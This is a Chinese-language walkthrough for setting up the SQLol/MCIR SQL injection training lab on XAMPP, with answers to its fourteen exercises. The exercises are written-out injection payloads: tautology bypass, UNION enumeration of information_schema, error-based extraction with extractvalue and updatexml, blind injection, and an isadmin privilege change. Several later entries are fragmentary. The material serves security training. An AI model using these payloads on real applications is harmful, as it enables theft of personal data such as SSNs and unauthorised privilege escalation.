搭建SQLo靶机与练习

SQLol安装

实验器材：Window 7 windows 2008

下载地址：http://github.com/SpiderLabs/MCIR
安装流程：
Window2008配置：
解压压缩包到网站根路径（例如，我新建一个sql目录，存放压缩包内容）
解压MCIR压缩包到c盘/xampp/htdocs/sql

打开c盘/xampp/htdocs/sql/sqlol/includes
/database.config.php 修改$username/$password等信息；

右击用vim编辑器打开编辑：

修改$username/$password等信息；

打开http://localhost/sql/，可以看到如下界面，点击RESET，即可完成数据库的安装。


出现Done搭建成功：

返回如图操作：

选择输出结果：所有结果和没有错误信息


出现14个练习题：

0.练习:
’ or ‘1’=‘1

1.练习：
查找数据库
’ and 1=2 union select
concat_ws(char(32,58,32),user(),database(),
version()) #

查找表
’ and 1=2 union all select
TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘sqlol’; #

查找列
’ and 1=2 union select
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘ssn’;#

显示所有字段
’ and 1=2 union select
concat_ws(char(32,58,32),name , ssn ) from ssn #

2.练习：
显示所有字段
1 and 1=2 union
select concat_ws(char(32,58,32),name , ssn) from ssn; #

3.练习
查找数据库
’ and 1=2 union select
concat_ws(char(32,58,32),user(),database(),version()) #

查找表
’ and 1=2 union all select
TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘sqlol’ LIMIT 1
OFFSET 1; #

查找列
’ and 1=2 union select
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘ssn’; #

显示所有字段
’ and 1=2 union select
concat_ws(char(32,58,32),name , ssn ) from ssn LIMIT 1 OFFSET 1 #

4.练习
查找数据库
’ and (extractvalue(1,
concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and ‘1’=‘1
给出错误信息分析：

显示所有字段
’ and (extractvalue(1, concat(0x7e,(select
concat_ws(char(32,58,32),name , ssn ) from ssn LIMIT 1 OFFSET 1)))) and ‘1’=‘1 #

5.盲注练习
’ or ascii(substring((select
user()),1,1)) = 111#
（1）无反馈:

(2)从111试到了114出来了结果：（111-114是对应ASSIC表中
小写字母o-r）
’ or ascii(substring((select
user()),1,1)) = 114#

6-7.练习：
’ or
updatexml(0,concat(0x01,(SELECT concat(name,’ ‘,ssn) FROM ssn limit 0,1)),0) #

.练习：
’ uNion seLect
concat(name,’:’,ssn) from ssn uNion selEct null from users whEre
username=’

9.练习
admin’, isadmin = 1 WHERE id = 3#

10.练习
concat(name,’:’,ssn) from ssn#

11.练习

12.练习：
1’ and #>
脚本已注入数据库，每次都会弹窗。

13.练习
chuNk mACRUnFast%
通过编写脚本或使用 SQLMAP 进行猜测计算，当猜测正确的时候返回
值是“Got results!”（因为 Python编程与 SQLMAP）

改了显示信息栏显示的结果：